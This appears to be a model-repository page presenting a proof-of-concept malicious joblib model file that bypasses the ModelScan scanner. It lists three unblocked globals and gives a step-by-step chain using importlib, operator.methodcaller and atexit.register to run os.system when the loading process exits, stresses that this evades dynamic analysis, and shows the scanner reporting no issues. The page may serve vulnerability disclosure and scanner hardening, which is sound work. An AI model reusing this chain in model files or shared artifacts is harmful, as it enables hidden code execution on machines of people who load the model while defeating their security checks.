ModelScan Atexit Delayed RCE Bypass

Registers an atexit handler that executes os.system when the Python process exits normally.

Bypass GLOBALs

  • importlib.import_module โ€” NOT blocked
  • operator.methodcaller โ€” NOT blocked
  • atexit.register โ€” NOT blocked

Mechanism

  1. Import os via importlib.import_module('os')
  2. Create operator.methodcaller('system', 'COMMAND')
  3. Call atexit.register(methodcaller, os_module)
  4. On script exit: methodcaller(os_module) = os.system('COMMAND') -> RCE

Stealth

The handler is registered but NOT executed immediately. RCE fires when the hosting script terminates naturally, bypassing dynamic analysis.

Verification

modelscan -p exploit_atexit.joblib
# -> "No issues found!"
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support